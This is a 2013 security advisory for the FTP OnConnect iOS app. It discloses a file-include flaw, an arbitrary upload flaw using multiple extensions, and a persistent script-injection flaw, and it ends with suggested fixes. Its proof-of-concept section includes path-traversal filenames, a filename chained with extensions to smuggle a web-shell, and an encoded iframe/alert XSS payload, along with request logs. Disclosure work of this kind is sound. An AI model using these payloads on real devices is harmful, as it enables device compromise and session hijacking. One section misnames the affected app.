Title:

FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities

Date:

2013-08-04

References:

http://www.vulnerability-lab.com/get_content.php?id=1041

VL-ID:

1041

Common Vulnerability Scoring System:

8.6

Introduction:

Simultaneous connections, and directory caching improves the work efficiency and save your time. Transmission Manager feature
is easier and more efficient transmission to be managed. Supports FTP / SFTP / FTPS (Explicit FTP over TLS, Implicit FTP over
TLS) connection. SFTP Private key authentication. name/password authentication is also supported.

( Copy of the Homepage: https://itunes.apple.com/us/app/ftp-onconnect-free-ftp-sftp/id594722236 )

Abstract:

The Vulnerability Laboratory Research Team discovered a command/path inject vulnerability in the FTP OnConnect v1.4.11 application (Apple iOS - iPad & iPhone).

Report-Timeline:

2013-08-04: Public Disclosure (Vulnerability Laboratory)

Status:

Published

Affected Products:

Apple AppStore
Product: FTP OnConnect - Mobile Application 1.4.11

Exploitation-Technique:

Remote

Severity:

Critical

Details:

1.1
A file include web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & iPhone).
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service.

The vulnerability is located in the upload module when processing to upload files with manipulated filenames in the POST method request & header.
The attacker can inject local path or files to request context and compromise the mobile device or ftp service. The validation has a bad side
effect which impacts the risk to combine the attack with persistent injected script code.

Exploitation of the local file include web vulnerability requires no user interaction or privilege application user account with password.
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.

Vulnerable Application(s):
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)

Vulnerable Module(s):
[+] Upload (Files) - (http://localhost:50000)

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index File Dir Listing

1.2
An arbitrary file upload web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & iPhone).
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.

The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload
a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and
extension image.jpg.js.php.jpg . At the end the attacker deletes in the request after the upload the jpg to access unauthorized the malicious
file (web-shell) to compromise the web-server or mobile device.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.

Vulnerable Application(s):
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)

Vulnerable Module(s):
[+] Upload (Files) - (http://localhost:50000)

Vulnerable Parameter(s):
[+] filename (multiple extensions)

Affected Module(s):
[+] Index File Dir Listing

1.3
A persistent input validation web vulnerability is detected in the Private Photos v1.0 application (Apple iOS - iPad & iPhone).
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).

The vulnerability is located in the add `New Folder` module of the web-server (http://localhost:50000) application when processing to
inject via POST method request manipulated `folder-names`. The folder name will be changed to the path value without secure filter,
encoding or parse mechanism. The injected script code will be executed in the path listing context and of course also in the index
file dir listing of the mobile ftp web application interface.

Exploitation of the persistent web vulnerability requires low user interaction and a local low privilege mobile application account
with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal
via persistent web attacks, persistent phishing or persistent module context manipulation.

Vulnerable Application(s):
[+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)

Vulnerable Module(s):
[+] New Folder - (http://localhost:50000/?dir=)

Vulnerable Parameter(s):
[+] foldername

Affected Module(s):
[+] Index File Dir Listing
[+] Path/Folder Listing

Proof of Concept:

1.1
The local file include web vulnerability can be exploited by remote attackers without privilege application user account and
also without user interaction. For demonstration or reproduce …

PoC:
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=[LOCAL FILE/PATH INCLUDE VULNERABILITY!]"
class="file">…/var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
<td><form action="/delete.html?fileType=f&dir=%2F&name=…/var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!]."
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value=" Delete " class="button"
type="submit"> <input name="rename" value=" Rename "
onclick="renameFunction('f','%2F','…/var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*')"
class="button" type="BUTTON"></form></td></tr>

— Request Session Log POST —
Status: 200[OK]

POST http://192.168.2.104:50000/upload.html
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[0]
Mime Type[application/x-unknown-content-type]

Request Headers:
Host[192.168.2.104:50000]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:50000/index.html?dir=&#37;2F]
Connection[keep-alive]

Post Data:
POST_DATA[-----------------------------7857615028463
Content-Disposition: form-data; name="newfile"; filename="…/var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*"
Content-Type: image/png

Note: After the inject the remote attacker can open up the index file dir listing to execute the unauthorized file/path request.

1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers without privilege application user account and
also without user interaction. For demonstration or reproduce …

PoC:
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=1234.png.txt.iso.php.js.html.gif"
class="file">1234.png.txt.iso.php.js.html.gif</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
<td><form action="/delete.html?fileType=f&dir=%2F&name=1234.png.txt.iso.php.js.html.gif"
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value="
Delete " class="button" type="submit"> <input name="rename" value=" Rename "
onclick="renameFunction('f','%2F','1234.png.txt.iso.php.js.html.gif')" class="button" type="BUTTON"></form></td></tr>

— Request Session Log POST —
Status: 200[OK]
POST http://192.168.2.104:50000/upload.html
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[0]
Mime Type[application/x-unknown-content-type]

Request Headers:
Host[192.168.2.104:50000]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:50000/index.html?dir=&#37;2F]
Connection[keep-alive]

Post Data:
POST_DATA[-----------------------------7857615028463
Content-Disposition: form-data; name="newfile"; filename="1234.png.txt.iso.php.js.html.gif"
Content-Type: image/gif

Note: After the inject the attacker can easily visit the main index website and open the ?dir= folder listing by attaching
the filename with the multi extension. After the first request the attacker opens the file the regular way without the parameter
?dir (path) to execute without download.

1.3
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application user account and
with low user interaction. For demonstration or reproduce …

PoC: New Folder - Index File Dir Listing

<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="sizeStr">Size</th><th class="dateStr">Date</th><th class="actionStr">Action</th></tr>
</thead>
<tbody id="filelist"><tr><td><a href="http://192.168.2.104:50000/index.html?dir=&#37;2F&#37;3E&#37;22&#37;3Ciframe&#37;20src&#37;3Da&#37;3E&quot;
class="file"><>"<iframe src="FTP%20On%20Connect%20File%20Management-foldername_files/a.txt">
> </a></td><td>0
byte</td><td>3. August 2013
14:43</td><td><form
action='/delete.html?fileType=d&dir=%2F%3E%22%3Ciframe%20src%3Da%3E'
method='post'><input name='_method' value='Delete'
type='hidden'/><input name="commit" type="submit" value=" Delete "
class='button'/> <input
name="rename" value=" Rename " type="BUTTON"
onclick="renameFunction('d','%2F%3E%22%3Ciframe%20src%3Da%3E','%3E%22%3Ciframe%20src%3Da%3E')"
class='button'/></form></td></tr></tbody></table></iframe></a></td></tr>

— Request Session Log GET —

Status: 200[OK]

GET http://192.168.2.104:50000/newFolder.html?folderName=&#37;3E&#37;22&#37;3Ciframe&#37;20src&#37;3Da&#37;20onload&#37;3Dalert&#40;&#37;22HITHOMAS&#37;22&#41;&#37;3C&#37;3E
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[0] Mime Type[application/x-unknown-content-type]

Request Headers:

Host[192.168.2.104:50000]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:50000/index.html?dir=&#37;2FMAINPENTESTFOLDER]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]
Content-Length[0]

Location[http://192.168.2.104:50000/index.html?dir=/MAINPENTESTFOLDER/]
Date[Sat, 03 Aug 2013 12:52:13 GMT]

Note: After the inject the folder can only be deleted by the device itself because the functions are not anymore available.
Exploitation of the issue does also work via rename without the add function.

Solution:

1.1 - 1.2
The vulnerabilities can be patched by a secure file name input restriction and filter when processing to upload. Parse and encode the filename input
of the file upload POST method request. Parse and encode the output file listing of the filename even if the input is restricted.
Disallow double extensions by setting a restriction to `.` on file uploads.

1.2
The persistent input validation can be parsed by a secure encode of the foldername input and output listing.
It is also required to setup a restriction to the foldername input to prevent the include of special chars or script codes.

Risk:

1.1
The security risk of the local file include web vulnerability is estimated as high(+).

1.2
The security risk of the arbitrary file upload web vulnerability is estimated as critical.

1.3
The security risk of the persistent input validation web vulnerability is estimated as high(-).

Credits:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])

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